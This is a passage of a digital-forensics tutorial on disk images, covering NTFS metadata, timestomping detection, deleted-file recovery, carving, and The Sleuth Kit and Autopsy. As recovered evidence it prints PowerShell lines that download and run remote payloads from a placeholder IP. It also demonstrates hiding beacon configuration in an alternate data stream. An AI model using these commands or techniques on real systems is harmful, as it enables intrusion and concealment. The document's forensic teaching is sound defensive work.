Disk Forensics: File Systems, Artifacts & Autopsy/Sleuth Kit

This is Chapter 3 of the DFIR notebook. Chapter 2 ended with a verified .E01 on your analysis workstation and a hash that proves it matches the source. This chapter is what you do next: pull that image apart, understand the file system underneath it, recover what was deleted, and reconstruct — minute by minute — what a human being did on that machine.

Acquisition is a procedure. Analysis is an investigation. The difference matters because acquisition has one right answer (a byte-identical image with a matching hash) while analysis has as many wrong answers as you have untested assumptions. A file's "date modified" in Windows Explorer is not a fact; it is one of eight timestamps that particular file carries, the one an attacker can trivially rewrite. A "deleted" file is not gone; on a spinning disk it is usually intact and merely unreferenced, and on an SSD it may have been electrically erased four seconds after the delete. Knowing which is which is the entire skill.

Everything here is written for lawful work — incident response on systems your organisation owns, authorised investigations, CTF and DFIR-lab evidence, and building the muscle memory you need before you touch real evidence. Analyse only images you are authorised to analyse, and always work on a copy of the copy.

How Deep This Chapter Goes

By the end you should be able to take a raw .dd or .E01 from a Windows or Linux host and, without a GUI if necessary:

• Identify the partitioning scheme and locate every volume, including ones the OS refuses to show you.
• Explain what the file system is doing at each of the five forensic layers and pick the right tool for each layer.
• Read an NTFS $MFT record by hand, distinguish resident from non-resident data, decode a runlist, and find data hidden in an alternate data stream.
• Prove or disprove timestomping by comparing $STANDARD_INFORMATION against $FILE_NAME.
• Recover deleted files by metadata (still-intact MFT entry) and by carving (metadata gone), and know when neither will work.
• Build a super timeline that fuses file system MACB times with registry, Prefetch, event log, and browser artifacts.
• Defend every one of those findings when someone asks "how do you know?"

flowchart LR
    A[Verified image] --> B[Volume system<br/>mmls]
    B --> C[File system<br/>fsstat]
    C --> D[File name layer<br/>fls / ffind]
    D --> E[Metadata layer<br/>istat / ifind]
    E --> F[Data unit layer<br/>icat / blkcat / blkls]
    F --> G[Unallocated + carving<br/>foremost / photorec]
    C --> H[OS artifacts<br/>registry / prefetch / logs]
    G --> I[Super timeline]
    H --> I
    I --> J[Narrative + report]

Part 1: How Storage Is Actually Organised

Before file systems, there is geometry. A forensic image is a flat sequence of bytes, and every tool you will use navigates that flat sequence using offsets. If you get an offset wrong, every subsequent conclusion is wrong, so start here.

Sectors, blocks, and the 512e lie

The smallest addressable unit on a disk is the sector. Classic disks use 512-byte sectors. Modern drives use 4096-byte physical sectors ("Advanced Format", 4Kn) but many still report 512-byte logical sectors for compatibility — this is called 512e (512-emulated). This matters because dd, mmls, and fdisk all speak in sectors, and if you assume 512 when the tool is reporting 4096 your offsets will be off by a factor of eight.

# Check both sector sizes on a live device before imaging
sudo blockdev --getss  /dev/sdb    # logical sector size  -> 512
sudo blockdev --getpbsz /dev/sdb   # physical sector size -> 4096
sudo blockdev --getsize64 /dev/sdb # total size in bytes

Why the cluster matters more than the sector: a file system allocates space in clusters. A 1-byte file in a file system with 4 KB clusters consumes 4 KB. The 4095 unused bytes are file slack, and on many file systems they still contain whatever was in that cluster before. Slack is where fragments of previously deleted documents live, and it is invisible to every normal file-browsing tool.

MBR versus GPT

Two partitioning schemes dominate.

MBR (Master Boot Record) lives in sector 0. It contains 446 bytes of boot code, a 64-byte partition table holding exactly four 16-byte entries, and the signature 0x55AA. Four primary partitions maximum; more requires an extended partition containing a linked list of logical partitions. Maximum addressable size is 2 TiB with 512-byte sectors.

GPT (GUID Partition Table) starts at LBA 1 with a header, followed by a partition entry array (typically 128 entries × 128 bytes). LBA 0 holds a protective MBR — a fake single partition of type 0xEE spanning the disk — whose only job is to stop legacy tools from thinking the disk is unpartitioned and "helpfully" repartitioning it. GPT also keeps a backup copy of the header and entry array at the very end of the disk.

Forensic relevance of the GPT backup: if the primary GPT was wiped to hide a partition, the backup at the end of the disk often still describes it. gdisk -l and testdisk will read the backup. A partition that exists in the backup table but not the primary is a strong tampering indicator worth documenting explicitly.

flowchart TD
    subgraph MBR_Disk
    M0[LBA 0: MBR 446B boot + 4x16B entries + 55AA]
    M1[Partition 1]
    M2[Partition 2]
    M3[Extended -> logical chain]
    end
    subgraph GPT_Disk
    G0[LBA 0: Protective MBR type 0xEE]
    G1[LBA 1: GPT header + CRC32]
    G2[LBA 2-33: 128 partition entries]
    G3[Partitions]
    G4[End of disk: backup entries + backup header]
    end

Reading the layout of an image

mmls is The Sleuth Kit's volume-system tool and is normally the very first command you run against an image. (Full TSK teaching is in Part 7; this is a preview because you cannot discuss layout without it.)

mmls evidence.dd

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0001026047   0001024000   NTFS / exFAT (0x07)
003:  000:001   0001026047   0062914559   0061888513   NTFS / exFAT (0x07)
004:  -------   0062914560   0062914703   0000000144   Unallocated

Read that output carefully — three things in it are investigatively interesting:

1. Sectors 0–2047 are unallocated. That is normal (alignment gap before the first partition), but it is also a classic hiding place: 1 MB of space that no file system claims and no OS shows. Always extract and examine it.
2. The 144 unallocated sectors at the end are similarly unclaimed. On a GPT disk this region holds the backup GPT; on an MBR disk it is often leftover from a previous partitioning.
3. Two NTFS volumes, the first only 500 MB — that is the Windows System Reserved / recovery partition. It holds the boot configuration data and is frequently ignored by novices, and is exactly where bootkit persistence lives.

# Extract the pre-partition gap for inspection
dd if=evidence.dd of=gap_start.bin bs=512 skip=0 count=2048 status=none
strings -n 8 gap_start.bin | head
xxd gap_start.bin | head -3

To work on a single partition, you tell TSK the offset with -o (in sectors) rather than carving out a separate file:

fsstat -o 1026047 evidence.dd     # offset taken straight from the mmls Start column

Pentester / red team relevance: the same gaps are where "slack space" persistence and bootkits (classic MBR bootkits, and modern ESP-resident UEFI implants) live. If you are on the offensive side, understanding that mmls shows unclaimed regions tells you why hiding there is not actually hiding.

Part 2: The Five-Layer Model Every Forensic Tool Is Built On

Brian Carrier's File System Forensic Analysis introduced the abstraction that The Sleuth Kit implements directly, and once it clicks, every TSK tool name becomes self-explanatory. A file system is analysed at five layers:

The critical insight is that the layers can disagree, and disagreement is evidence.

• A name with no valid metadata → the file was deleted and its MFT record reused.
• Metadata with no name (ils shows an orphan inode) → the directory entry is gone but the content pointers survive. You can still recover the file, you just do not know its original name.
• A data unit marked allocated but claimed by no metadata → possible hidden data or file system corruption.
• Two metadata records pointing at the same cluster → cross-linked, usually corruption, occasionally deliberate.

flowchart TD
    A["File Name Layer: report.docx -> MFT 4512"] --> B["Metadata Layer: MFT 4512 times, size, runlist"]
    B --> C["Data Unit Layer: clusters 90210-90215"]
    C --> D["Application Layer: DOCX = ZIP of XML"]
    B -.-> C
    A -.-> B
    E["Orphan metadata (no name)"] --> C

Why this beats 'just open it in a GUI': Autopsy is excellent, and Part 9 teaches it properly, but a GUI shows you the file name layer by default. Every subtle finding in disk forensics — the deleted file whose name was reused, the data hidden in unallocated space, the ADS that Explorer will never list — lives one or two layers below what the GUI shows first.

Part 3: NTFS Internals — Everything Is a File

NTFS is the file system you will analyse most often, and it has one design idea that explains almost all of its forensic richness: everything on the volume, including the file system's own bookkeeping, is stored as a file. Those internal files are called metafiles and their names begin with $.

The metafiles

IR use case: on a machine where the attacker deleted their tooling, $UsnJrnl:$J frequently still lists the file names that were created and deleted, with USN ordering, long after the files and their MFT records are gone. It is often the single best answer to "what was here before they cleaned up?"

The MFT record

Every file and directory gets at least one MFT record, normally 1024 bytes. The record is a header followed by a sequence of attributes. A file is not "a file with some metadata" — a file is its set of attributes.

Resident versus non-resident data

If a file's content fits in the space left in its 1024-byte MFT record — in practice, roughly under 700–800 bytes — NTFS stores the content inside the MFT record itself. This is a resident $DATA attribute. Larger content is non-resident: stored in clusters elsewhere, with the MFT record holding a runlist describing where.

This has three consequences that come up constantly:

1. Tiny files leave no cluster footprint. A 300-byte notes.txt never occupies a data cluster, so carving unallocated space will never find it. Its content lives and dies with its MFT record.
2. Deleting a small file does not free any cluster. Recovery means recovering the MFT record — icat on the inode works perfectly, right up until the record is reused.
3. Resident content survives in the $MFT file itself. Even after deletion, a strings pass over the extracted $MFT will surface fragments of small text files, script snippets, and configuration. This is a genuinely underused trick.

# Extract $MFT from a mounted-offset image and mine it
icat -o 1026047 evidence.dd 0 > MFT.raw
ls -lh MFT.raw
strings -n 12 MFT.raw | grep -iE 'powershell|http://|https://|Invoke-' | head -20

-rw-r--r-- 1 analyst analyst 268M Mar  2 11:04 MFT.raw
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.24/a.ps1')
http://198.51.100.24/beacon.exe
Invoke-WebRequest -Uri http://198.51.100.24/rc.exe -OutFile C:\Users\Public\rc.exe

Those three lines came out of a deleted 400-byte batch file whose MFT record had not yet been reused. No cluster on the disk ever held that text.

Runlists — how non-resident content is addressed

A runlist is a compact, variable-length encoding of "N clusters starting at offset X", where X is a signed delta from the previous run's start. Encoding it by hand is rarely necessary, but reading istat output is:

istat -o 1026047 evidence.dd 4512

MFT Entry Header Values:
Entry: 4512        Sequence: 3
$LogFile Sequence Number: 118422105
Allocated File
Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 1289
Created:        2027-01-14 09:12:44.113822700 (UTC)
File Modified:  2027-01-14 09:12:44.128411300 (UTC)
MFT Modified:   2027-01-14 09:12:44.128411300 (UTC)
Accessed:       2027-01-14 09:12:44.113822700 (UTC)

$FILE_NAME Attribute Values:
Flags: Archive
Name: quarterly_report.docx
Parent MFT Entry: 3811   Sequence: 2
Created:        2027-01-14 09:12:44.113822700 (UTC)
File Modified:  2027-01-14 09:12:44.113822700 (UTC)
MFT Modified:   2027-01-14 09:12:44.113822700 (UTC)
Accessed:       2027-01-14 09:12:44.113822700 (UTC)

Attributes:
Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72
Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 90
Type: $DATA (128-3)   Name: N/A   Non-Resident   size: 4718592  init_size: 4718592
90210 90211 90212 90213 90214 90215 ...

The bare numbers at the bottom are the allocated clusters. icat follows them for you; blkcat lets you read any one of them directly.

Alternate Data Streams

A named $DATA attribute is an alternate data stream. secret.txt:hidden is one file with two $DATA attributes. dir shows only the size of the unnamed stream; the ADS is invisible to almost every ordinary tool.

# Creating one (Windows, lab only)
echo "beacon config: 198.51.100.24:443" > C:\temp\readme.txt:cfg
Get-Item C:\temp\readme.txt -Stream *      # PowerShell 3.0+ lists streams
dir /r C:\temp                              # cmd.exe: /r shows streams

FileName: C:\temp\readme.txt
Stream    Length
------    ------
:$DATA         0
cfg           34

Forensically, ADS are trivially visible — because to TSK, an ADS is just another attribute:

fls -o 1026047 -r evidence.dd | grep ':'      # ADS appear as inode-attr pairs
istat -o 1026047 evidence.dd 7719             # shows both $DATA attributes
icat -o 1026047 evidence.dd 7719-128-5        # read the *named* stream by attribute ID

r/r 7719-128-4:  Users/jsmith/Downloads/readme.txt
r/r 7719-128-5:  Users/jsmith/Downloads/readme.txt:cfg

Red team usage: ADS remain a real, still-working stealth primitive for storing payload configuration on disk — but note that Windows adds a Zone.Identifier ADS to every downloaded file, so an unusual stream name in Downloads stands out sharply in a review. Blue team usage: hunt with Get-ChildItem -Recurse | Get-Item -Stream * | Where-Object Stream -ne ':$DATA' and alert on any stream that is not Zone.Identifier. CTF relevance: hidden-flag-in-ADS is a recurring Windows forensics challenge on TryHackMe and CyberDefenders; fls/icat solve it in two commands.

$I30 index slack — the directory that remembers

Directories store their entries in a B-tree inside $INDEX_ROOT / $INDEX_ALLOCATION (the $I30 index). When a file is deleted, its index entry is removed from the tree by adjusting offsets — but the old entry bytes frequently remain in the slack of the index allocation blocks. Parsing that slack recovers file names, sizes, and all four $FILE_NAME timestamps for files that were deleted long ago.

# Extract a directory's index allocation and parse slack
icat -o 1026047 evidence.dd 3811-160-6 > Downloads_I30.bin
python3 INDXParse.py -d Downloads_I30.bin --slack     # Willi Ballenthin's INDXParse

FILENAME     PHYSICALSIZE  LOGICALSIZE  MODIFIED             ACCESSED             CHANGED              CREATED
mimikatz.exe 1265664       1264776      2027-01-11 22:04:18  2027-01-11 22:06:02  2027-01-11 22:04:18  2027-01-11 22:03:57
psexec.exe   381816        381816       2027-01-11 22:09:41  2027-01-11 22:10:12  2027-01-11 22:09:41  2027-01-11 22:09:33

Those files are gone. Their MFT records were reused. Their clusters were overwritten. The directory index slack still names them, sizes them, and timestamps them. This is one of the highest-value NTFS tricks and it routinely survives attacker cleanup.

Part 4: NTFS Timestamps and the Anatomy of Timestomping

NTFS keeps two sets of four timestamps per file name, which is why practitioners say "eight timestamps".

Each set carries four values, remembered as MACB:

The rules that make timestamps interpretable

• Copy a file: destination gets a new Birth time (now), and typically retains the source's Modified time. So B > M — a file "created" after it was "modified" — is the normal signature of a copy, not of tampering.
• Move within the same volume: it is a rename. All times are preserved; only FN Changed updates.
• Move across volumes: it is a copy plus a delete. New Birth time.
• Download: Birth = download time; Modified often = the time on the origin server.

Detecting timestomping

The core detection is SI/FN disagreement. Tools like timestomp (Metasploit), SetMace, and countless custom loaders call SetFileTime, which writes only the SI set. The FN set keeps the truth.

istat -o 1026047 evidence.dd 8823

$STANDARD_INFORMATION Attribute Values:
Created:        2009-07-14 01:14:24.000000000 (UTC)
File Modified:  2009-07-14 01:14:24.000000000 (UTC)
MFT Modified:   2009-07-14 01:14:24.000000000 (UTC)
Accessed:       2009-07-14 01:14:24.000000000 (UTC)

$FILE_NAME Attribute Values:
Name: svch0st.exe
Created:        2027-01-11 22:14:07.663291200 (UTC)
File Modified:  2027-01-11 22:14:07.663291200 (UTC)
MFT Modified:   2027-01-11 22:14:07.663291200 (UTC)
Accessed:       2027-01-11 22:14:07.663291200 (UTC)

Read the indicators in order of strength:

1. SI is nine years older than FN. The FN set is written by the kernel when the name is created; a file cannot have been named after it existed in that directory. This is near-conclusive.
2. All four SI timestamps are identical to the second, with zeroed sub-second precision. Genuine NTFS timestamps have 100-nanosecond granularity and effectively never end in .000000000 across all four values. timestomp's -z option sets whole seconds. This alone is a strong flag.
3. 2009-07-14 01:14:24 is the well-known build timestamp of Windows 7 system files — a lazy copy of kernel32.dll's date. Attackers who "blend in" by copying a system file's timestamp create a cluster of files sharing one improbable timestamp.
4. MFT entry number is high (8823) relative to genuinely old files. MFT entries are allocated roughly in creation order early in a volume's life; a file claiming to be from 2009 sitting in a record number surrounded by records from last month is anomalous. Not conclusive on its own — records get reused — but corroborating.

Anti-anti-forensics note: SetMace and similar tools can write FN timestamps by manipulating the volume directly, defeating check #1. That is why you never rely on a single indicator. Cross-check against sources the attacker did not think to edit: $UsnJrnl records the change with its own timestamp; $LogFile holds the transaction; Prefetch, Amcache, and the Security event log record execution independently; and $I30 index entries carry a third copy of the FN times.

flowchart TD
    A[Suspicious file] --> B{SI times vs FN times}
    B -->|SI much older than FN| C[Timestomping likely]
    B -->|Consistent| D{All 4 SI identical and sub-second zero?}
    D -->|Yes| C
    D -->|No| E{Matches UsnJrnl, LogFile, Prefetch?}
    E -->|Contradiction| C
    E -->|Consistent| F[Timestamps credible]
    C --> G[Corroborate with Amcache, SRUM, EVTX, I30 slack]

Bug bounty relevance: limited directly — but the same reasoning applies when you are asked to prove when you found something in a disclosure dispute, and file-metadata forgery detection is a real category in forensic-readiness reviews.

Part 5: Other File Systems and What Changes

You will not only meet NTFS. The method transfers; the specifics do not.

FAT32 and exFAT

FAT is simple, which cuts both ways. There is no journal, no ACL, no MFT — just a File Allocation Table (a chain of cluster pointers) and directory entries holding name, attributes, start cluster, size, and timestamps.

Two forensic consequences dominate:

• FAT stores local time. A photo on a camera SD card with a "modified" time of 14:32 is 14:32 in whatever timezone the device thought it was in. Do not silently normalise to UTC; document the ambiguity. This single issue produces more wrong timelines on USB/SD evidence than any other.
• FAT deletion destroys the cluster chain. The directory entry keeps the start cluster and the size, so a contiguous deleted file recovers perfectly; a fragmented one recovers only its first fragment, then garbage. NTFS by contrast keeps the whole runlist in the MFT record, so fragmented NTFS files recover fine until the record is reused.

ext4 (Linux)

• Metadata is in inodes; names live in directory entries; the two are separate exactly as in the five-layer model.
• Timestamps: atime, mtime, ctime (inode change), and — crucially for forensics — crtime (birth), which exists on-disk in ext4 but which stat on older tooling does not print. Use debugfs -R 'stat <inode>' /dev/sdX or TSK's istat to see it.
• Deletion is destructive to recovery. ext4 zeroes the extent tree / block pointers in the inode on unlink (unlike ext3's partial behaviour). Metadata-based recovery of deleted ext4 files is usually not possible; you fall back to carving unallocated space or to the journal.
• The ext4 journal (jbd2) may still hold older copies of inode blocks. debugfs -R "logdump -i <8>" and ext4magic exploit exactly this to recover files deleted within the journal's window.

# ext4: read birth time and full inode detail
sudo debugfs -R 'stat <131078>' /dev/sdb1
sudo debugfs -R 'ls -d /home/user' /dev/sdb1     # -d shows deleted entries
ext4magic /dev/sdb1 -a $(date -d "2027-01-11 00:00" +%s) -f home/user -r -d /cases/recovered

XFS, Btrfs, APFS

Blue team usage: on Btrfs/APFS/ZFS hosts, take and preserve a snapshot first during IR — it is a consistent, free forensic copy of the file system state at the moment of detection, and it costs seconds.

Part 6: What Deletion Actually Does — and When Recovery Fails

Deletion, on every mainstream file system, is a bookkeeping change:

sequenceDiagram
    participant U as User or malware
    participant OS as OS
    participant MD as Metadata (MFT/inode)
    participant BM as Allocation bitmap
    participant D as Data clusters
    U->>OS: DeleteFile evil.exe
    OS->>MD: Clear in-use flag in MFT record
    OS->>MD: Remove entry from parent I30 index
    OS->>BM: Mark file clusters as free
    Note over D: Data clusters are NOT touched
    Note over MD: Record contents remain until reused
    Note over BM: Free is not erased; content persists

That leaves three recovery paths, in decreasing order of quality:

Slack space, precisely

Two distinct kinds, often conflated:

• RAM slack (file slack proper): the bytes between end-of-file and end-of-sector. Modern Windows zero-fills this, so it is largely a historical artifact.
• Drive/cluster slack: the sectors between end-of-file-sector and end-of-cluster. These are not zeroed. They contain whatever the previous occupant of those sectors left. A 4 KB cluster holding a 600-byte file has ~3.4 KB of someone else's data in it.

# Extract all slack space on the volume for keyword hunting
blkls -o 1026047 -s evidence.dd > volume_slack.raw
strings -n 8 volume_slack.raw | grep -iE 'password|BEGIN RSA|@corp\.local' | sort -u | head

The SSD problem

On an SSD with TRIM enabled, the OS tells the drive "these LBAs are no longer needed" on delete. The drive's garbage collector then erases those NAND pages autonomously, without any further OS involvement. Subsequent reads of those LBAs return zeros (deterministic-zero TRIM) or unspecified data. This happens in seconds to minutes and cannot be undone, even with a write blocker attached — the drive does it internally.

Practical consequences you must state in every report involving SSDs:

• Deleted-file recovery on a TRIMmed SSD is usually impossible. Absence of recovered deleted files is not evidence that nothing was deleted.
• Wear levelling means the physical NAND may hold older copies of data at LBAs the host cannot address. Chip-off / vendor-level acquisition can sometimes reach it; standard imaging cannot.
• Over-provisioning (7–28% of NAND invisible to the host) is similarly unreachable.
• TRIM is not issued in some paths: over most USB bridges historically (no UNMAP passthrough), inside some RAID configurations, on some encrypted volumes, and when the file system is mounted without discard and fstrim has not run yet. So sometimes you do get data back — test, do not assume.

Do not skip this paragraph in real reports. Opposing counsel asking "you found no deleted files, so nothing was deleted, correct?" is answered by the TRIM explanation and by $UsnJrnl / $I30 slack evidence that names files whose content is gone.

Part 7: The Sleuth Kit From Scratch

What it is: The Sleuth Kit (TSK) is an open-source C library plus a set of command-line tools for reading disk images and file systems at each of the five layers, without mounting them and without trusting the host OS's drivers. Brian Carrier maintains it; Autopsy is the GUI built on top of it. If you learn one forensic toolset, learn this one — it is scriptable, it is on every forensic distro, and it is the reference implementation that GUI findings get validated against.

Why it exists: mounting evidence with the host OS means the host OS's file system driver interprets the data — and may replay a journal, update timestamps, hide files, or refuse to show corrupted structures. TSK parses the bytes itself, read-only, showing you deleted entries, orphans, and slack that a mount will never reveal.

Install

# Kali / Debian / Ubuntu
sudo apt update && sudo apt install -y sleuthkit libewf-dev ewf-tools
 
# Fedora / RHEL
sudo dnf install -y sleuthkit libewf-tools
 
# macOS
brew install sleuthkit libewf
 
# Verify
fls -V
mmls -V

The Sleuth Kit ver 4.12.1

Naming convention — the tool names are a map

Every tool name is <layer-prefix><action>:

Universal flags

img_stat and E01 handling

TSK reads E01 natively when built with libewf. If a segmented image (.E01, .E02, …) is not auto-joined, pass all segments:

img_stat evidence.E01
fls -o 1026047 evidence.E01                  # works directly
fls -o 1026047 -i ewf evidence.E01 evidence.E02 evidence.E03    # explicit segments

IMAGE FILE INFORMATION
--------------------------------------------
Image Type: ewf
Size in bytes: 32212254720
MD5 hash of data: 9f2c1b04d1d1e3e4b1af5a2c9d33e1b0

The workflow, tool by tool

1. mmls — what partitions exist (covered in Part 1).

2. fsstat — what kind of file system, and its parameters

fsstat -o 1026047 evidence.dd

FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: NTFS
Volume Serial Number: 8A3C41F29D07B65E
OEM Name: NTFS
Version: Windows XP

METADATA INFORMATION
--------------------------------------------
First Cluster of MFT: 786432
First Cluster of MFT Mirror: 2
Size of MFT Entries: 1024 bytes
Range: 0 - 274687

CONTENT INFORMATION
--------------------------------------------
Sector Size: 512
Cluster Size: 4096
Total Cluster Range: 0 - 7735062
Total Sector Range: 0 - 61888510

What to actually take from this: cluster size 4096 (governs slack), MFT entry size 1024, Range 0 – 274687 (there are 274,688 MFT entries — the upper bound for inode numbers you can query), and the volume serial, which you will cross-reference against registry MountedDevices and USB artifacts.

3. fls — list names, including deleted ones

fls -o 1026047 evidence.dd                    # root directory only
fls -o 1026047 -r -p evidence.dd | head -20   # recursive, full paths
fls -o 1026047 -r -p -d evidence.dd           # DELETED entries only

r/r 4512-128-3:  Users/jsmith/Documents/quarterly_report.docx
d/d 3811-144-5:  Users/jsmith/Downloads
-/r * 8823-128-4:        Users/Public/svch0st.exe
-/r * 9104-128-4:        Users/jsmith/Downloads/mimikatz.exe
d/- * 9210-144-6:        Users/jsmith/AppData/Local/Temp/x

Decode the prefix — this is the single most useful piece of fls syntax:

A -/r * line is the best possible deleted-file result: the metadata still exists, so icat will recover the file intact. A d/- * line means the metadata is gone; only carving remains.

4. istat — full metadata for one entry (shown in Part 3).

5. icat — extract content by inode

icat -o 1026047 evidence.dd 9104 > /cases/exp/mimikatz.exe
file /cases/exp/mimikatz.exe
sha256sum /cases/exp/mimikatz.exe

/cases/exp/mimikatz.exe: PE32+ executable (console) x86-64, for MS Windows
1a4b9c... (compare against known-hash sets / VirusTotal by hash only)

icat -r attempts recovery of deleted content; icat -s includes slack. Use the full inode-type-id form to grab a specific attribute (an ADS).

6. ils — list metadata entries, including orphans

ils -o 1026047 evidence.dd            # deleted (unallocated) metadata entries only, by default
ils -o 1026047 -a evidence.dd | head  # all

7. ifind / ffind — reverse lookups

ifind -o 1026047 -d 90212 evidence.dd      # which inode owns data unit 90212?
ffind -o 1026047 evidence.dd 4512          # which name(s) point to inode 4512?
ifind -o 1026047 -n "Users/jsmith/Downloads/mimikatz.exe" evidence.dd

ifind -d is how you answer "I found a keyword hit at byte offset X in unallocated space — does it belong to any file?" The workflow is: byte offset → data unit (blkcalc) → inode (ifind -d) → name (ffind).

8. blkcat, blkls, blkstat, blkcalc — the data unit layer

blkstat -o 1026047 evidence.dd 90212        # is this cluster allocated?
blkcat -o 1026047 evidence.dd 90212 | xxd | head
blkls  -o 1026047 evidence.dd > unallocated.raw   # ALL unallocated clusters, concatenated
blkls  -o 1026047 -s evidence.dd > slack.raw      # slack space only
blkcalc -o 1026047 -u 4471 evidence.dd            # map unallocated-image unit -> original image unit

blkcalc deserves a sentence because it is the piece people miss: after you carve unallocated.raw, any offset you find is an offset into that extracted blob, not into the disk. blkcalc -u translates it back so you can state the finding in terms of the original evidence.

9. tsk_recover — bulk export

tsk_recover -o 1026047 evidence.dd /cases/recovered_deleted        # deleted files (default)
tsk_recover -o 1026047 -a evidence.dd /cases/recovered_allocated   # allocated files too
tsk_recover -o 1026047 -e evidence.dd /cases/recovered_everything  # everything

10. jls / jcat — the journal (ext3/ext4)

jls  -o 2048 linux.dd | head          # list journal blocks
jcat -o 2048 linux.dd 1421 | xxd | head

flowchart TD
    A[img_stat and mmls] --> B[fsstat -o N]
    B --> C[fls -o N -r -p]
    C --> D{Deleted entry?}
    D -->|metadata intact| E[istat then icat = recovered file]
    D -->|metadata gone| F[blkls then carve]
    C --> G[fls -m produces bodyfile]
    G --> H[mactime timeline]
    F --> I[foremost / photorec]
    E --> J[Hash, scan, analyse]
    I --> J

Part 8: File Carving

What carving is: recovering files from raw bytes using content signatures alone, ignoring the file system entirely. It is what you do when the metadata is gone. Because there is no metadata, carved files have no original name, no path, no timestamps — a fact you must state whenever you present a carved artifact.

How it works: most formats have a distinctive header (magic bytes) and many have a footer. A carver scans for headers, then either reads until the footer, until a maximum size, or uses format-aware parsing to determine length.

The fundamental limit — fragmentation. Carvers assume the file is contiguous. If a 4 MB PDF was written in three fragments, header-to-footer carving produces a corrupt file containing someone else's data in the middle. Roughly 5–10% of files on a typical used volume are fragmented, but the rate is far higher for large files, files edited in place, and files on a nearly-full volume. Modern carvers (photorec, and research tools using SmartCarving) do better; plain foremost does not.

foremost — from scratch

What it is: a header/footer carver originally written by US Air Force OSI, still the fastest way to sweep an image for common formats.

sudo apt install -y foremost
foremost -V

# Carve from the unallocated blob (recommended: avoids re-finding allocated files)
foremost -t jpg,pdf,doc,docx,zip,exe -i unallocated.raw -o /cases/carve_foremost

Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Processing: unallocated.raw
|foundat=RxD.pdf
*|
Finish: Mon Mar  2 12:41:09 2027

12 FILES EXTRACTED

jpg:= 7
pdf:= 3
zip:= 2

foremost writes an audit.txt recording every carved file with its byte offset in the input — keep it; that offset is what you feed to blkcalc to map back to the original image.

Custom signature in /etc/foremost.conf:

#  extension  case  size    header
   evtx       y     8000000 \x45\x6c\x66\x46\x69\x6c\x65\x00

scalpel — configurable and faster

A fork of foremost focused on performance; all signatures live in /etc/scalpel/scalpel.conf and are commented out by default (a classic first-run gotcha — running it unedited carves nothing).

sudo apt install -y scalpel
sudo sed -i 's/^#\(\s*jpg\)/\1/' /etc/scalpel/scalpel.conf     # uncomment jpg lines
scalpel -c /etc/scalpel/scalpel.conf -o /cases/carve_scalpel unallocated.raw

photorec — the best general-purpose carver

Part of the TestDisk package, format-aware rather than purely header/footer, supports 480+ formats, and handles some fragmentation. Interactive by default but fully scriptable.

sudo apt install -y testdisk
photorec /log /d /cases/carve_photorec /cmd evidence.dd partition_2,fileopt,everything,enable,search

bulk_extractor — features, not files

What it is: a completely different philosophy. Instead of reconstructing files, it scans every byte of the image (including compressed and encoded content, recursively) for features: email addresses, URLs, credit card numbers with Luhn validation, IP addresses, EXIF, domain names, telephone numbers, Windows PE headers, and more. It ignores the file system entirely, so it works on corrupt images, memory dumps, and swap.

sudo apt install -y bulk-extractor
bulk_extractor -o /cases/be_out -e all evidence.dd

$ ls /cases/be_out
aes_keys.txt      domain.txt        email.txt         ether.txt
exif.txt          ip.txt            json.txt          report.xml
telephone.txt     url.txt           url_searches.txt  windirs.txt
zip.txt

$ head -3 /cases/be_out/url.txt
1004265472  http://198.51.100.24/a.ps1
1004265618  http://198.51.100.24/rc.exe
2891043840  https://drive.example.net/upload?id=8812

The first column is the byte offset in the image — feed it to blkcalc/ifind to attribute the hit to a file. aes_keys.txt is worth noting: bulk_extractor can recover AES key schedules from memory images and hibernation files, which is occasionally how an encrypted volume gets opened.

CTF relevance: bulk_extractor -e all on a challenge image, then grep -i flag across the feature files, solves a surprising number of forensics challenges in one step.

Part 9: Autopsy From Scratch

What it is: Autopsy is the open-source GUI and case-management platform built on The Sleuth Kit, maintained by Basis Technology. It gives you multi-source case management, an ingest pipeline of analysis modules, indexed keyword search (Solr), a timeline viewer, hash-set matching, and reporting — all of which you would otherwise script by hand around TSK.

Why use it when you know the CLI: three reasons that matter in real casework. (1) Indexed search — Solr full-text indexing across every file including document interiors, which grep cannot match at scale. (2) Correlation — the Central Repository links artifacts across cases (this hash, this device ID, this email seen in an earlier case). (3) Reporting and repeatability — HTML/Excel reports with tagged evidence that a non-technical reader can follow, and a case file another examiner can open.

Why not to use it exclusively: it is an interpretation layer. When a finding matters, validate it at the CLI. "Autopsy said so" is not a defensible answer to "how do you know?"

Install

Autopsy is Java-based; on Windows the installer bundles everything. On Linux it needs TSK's Java bindings.

# Linux (Autopsy 4.x)
sudo apt install -y openjdk-17-jdk testdisk sleuthkit
wget https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.21.0/autopsy-4.21.0.zip
unzip autopsy-4.21.0.zip && cd autopsy-4.21.0
sh unix_setup.sh
./bin/autopsy

On Windows: install the .msi, and install the optional Autopsy Third-Party Modules and the Solr server if you want multi-user cases.

Case creation workflow

1. New Case → case name, base directory, case number, examiner name. Autopsy creates a directory with Export/, Reports/, ModuleOutput/ and a SQLite autopsy.db. Put this on your case volume, never on the evidence volume.
2. Add Data Source → choose type:

3. Configure Ingest Modules — the step that decides how long ingest takes and what you get.

Practical ingest strategy for a 500 GB image: first pass with everything except Keyword Search and Plaso — you get triage results in an hour instead of a day. Then launch keyword search as a second ingest run while you work the first-pass findings.

4. Analyse. The tree on the left is where the value is:

• Data Sources — raw file system browsing (this is fls).
• Views → Deleted Files / File Types / File Size — deleted-file recovery without typing icat.
• Results → Extracted Content — Web History, Web Downloads, USB Device Attached, Installed Programs, Recycle Bin, Run Programs (Prefetch), Operating System Information.
• Results → Keyword Hits, Hashset Hits, Interesting Items, Encryption Detected, Extension Mismatch Detected.
• Tags — tag every item you will cite; tags drive the report.
• Timeline (the clock icon) — visual MACB timeline with filtering.

5. Report → Generate Report → HTML / Excel / KML / CASE-UCO, scoped to "Tagged Results" for a clean deliverable.

Autopsy CLI / automation

For repeatable pipelines, Autopsy supports headless runs on Windows:

